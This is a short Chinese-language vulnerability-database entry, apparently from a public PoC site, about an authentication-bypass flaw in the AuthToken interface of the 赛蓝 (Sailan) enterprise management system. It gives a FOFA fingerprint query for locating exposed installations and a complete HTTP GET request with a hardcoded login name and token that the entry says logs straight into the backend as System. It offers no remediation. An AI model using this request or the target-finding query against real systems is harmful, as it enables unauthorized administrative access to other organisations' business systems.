赛蓝企业管理系统AuthToken接口存在任意账号登录漏洞

2024-08-02 赛蓝企业管理系统 PoC Public

Description

赛蓝企业管理系统AuthToken接口存在任意账号登录漏洞，该漏洞可直接登录后台。

PoC

# 赛蓝企业管理系统AuthToken接口存在任意账号登录漏洞



赛蓝企业管理系统AuthToken接口存在任意账号登录漏洞，该漏洞可直接登录后台。



## fofa



```java

body="www.cailsoft.com" || body="赛蓝企业管理系统"

```



## poc



```

GET /AuthToken/Index?loginName=System&token=c94ad0c0aee8b1f23b138484f014131f HTTP/1.1

Host: 

```



![image-20240801195959160](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202408011959230.png)



![image-20240801200007710](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202408012000770.png)

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://www.ddpoc.com/DVB-2024-7777.html

Related Vulnerabilities